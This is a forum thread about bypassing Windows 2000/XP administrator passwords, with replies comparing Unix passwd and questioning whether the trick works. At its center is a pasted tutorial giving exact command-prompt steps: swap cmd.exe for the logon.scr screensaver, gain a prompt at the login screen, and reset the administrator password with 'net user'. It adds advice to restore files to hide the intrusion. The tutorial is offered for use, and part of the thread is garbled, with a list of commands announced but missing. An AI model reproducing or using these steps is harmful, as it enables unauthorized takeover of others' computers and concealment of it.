@aryayush: If the user is logged on with administrator powers then it is possible in Vista as well.
Oh, WOW! Cool, man!

That re-affirms my fervent belief that Windows is definitely the most secure operating system out there.

Clearly you have never used `passwd <user>` command in *NIX OSs.


Get in windows 2000 as Administrator.

the following commands:

just put in administrator and hit enter. replace the sam files to
restore the password to hide intrusion.

How to hack Windows XP Admin Passwords the easy way by Estyle, Jaoibh
and Azrael.
This hack will only work if the person that owns the machine
has no intelligence. This is how it works:
When you or anyone installs Windows XP for the first time your
asked to put in your username and up to five others.
Now, unknownst to a lot of other people this is the only place in
Windows XP that you can password the default Administrator Diagnostic
Account. This means that to by pass most administrators accounts
on Windows XP all you have to do is boot to safe mode by pressing F8
during boot up and choosing it. Log into the Administrator Account
and create your own or change the password on the current Account.
This only works if the user on setup specified a password for the
Administrator Account.

This has worked for me on both Windows XP Home and Pro.
Now this one seems to be machine dependant, it works randomly(don't know why)

If you log into a limited account on your target machine and open up a dos prompt
then enter this set of commands Exactly:
(this appeared on www.astalavista.com a few days ago but i found that it wouldn't work
on the welcome screen of a normal booted machine)
cd\ *drops to root
cd\windows\system32 *directs to the system32 dir
mkdir temphack *creates the folder temphack
copy logon.scr temphack\logon.scr *backsup logon.scr
copy cmd.exe temphack\cmd.exe *backsup cmd.exe
del logon.scr *deletes original logon.scr
rename cmd.exe logon.scr *renames cmd.exe to logon.scr
exit *quits dos
Now what you have just done is told the computer to backup the command program
and the screen saver file, then edits the settings so when the machine boots the
screen saver you will get an unprotected dos prompt with out logging into XP.
Once this happens if you enter this command minus the quotes
"net user <admin account name here> password"
If the Administrator Account is called Frank and you want the password blah enter this
"net user Frank blah"
and this changes the password on franks machine to blah and your in.

Have fun
p.s: dont forget to copy the contents of temphack back into the system32 dir to cover tracks
Any updates, Errors, Suggestions or just general comments mail them to either

No, I haven't. What does that do?
man passwd

This command is used for changing a user's password but if you are logged in as root (equivalent of administrator in Windows), you can use passwd to change any user's password whether they like it or not. That is the duty of administrators...to manage their users. If they think someone's password needs to be changed...it gets changed. It is not a security loop hole. This is why you don't work by-default as root/administrator in any environment because you risk getting your system messed up...not only from remote crackers but also from local nosey users.


Broken In
It is Not working with Guest Account or with any Limited User It gives the error Access Deniend.If this doesn't work with a limited account then whts the Use of it................


Aspiring Novelist
Yeah, it should definitely work with guest and limited accounts. Why have a password in the first place then, by the way! :lol:

@eddie, thanks for the explanation! I had no idea about that. :)


mera kutch nahi ho sakta
Na v dont need any admin access to run the command frm cmd prompt..
U sure abt this? Xp runs all users in administrator mode by default, which may be giving u the impression that admin access is not required
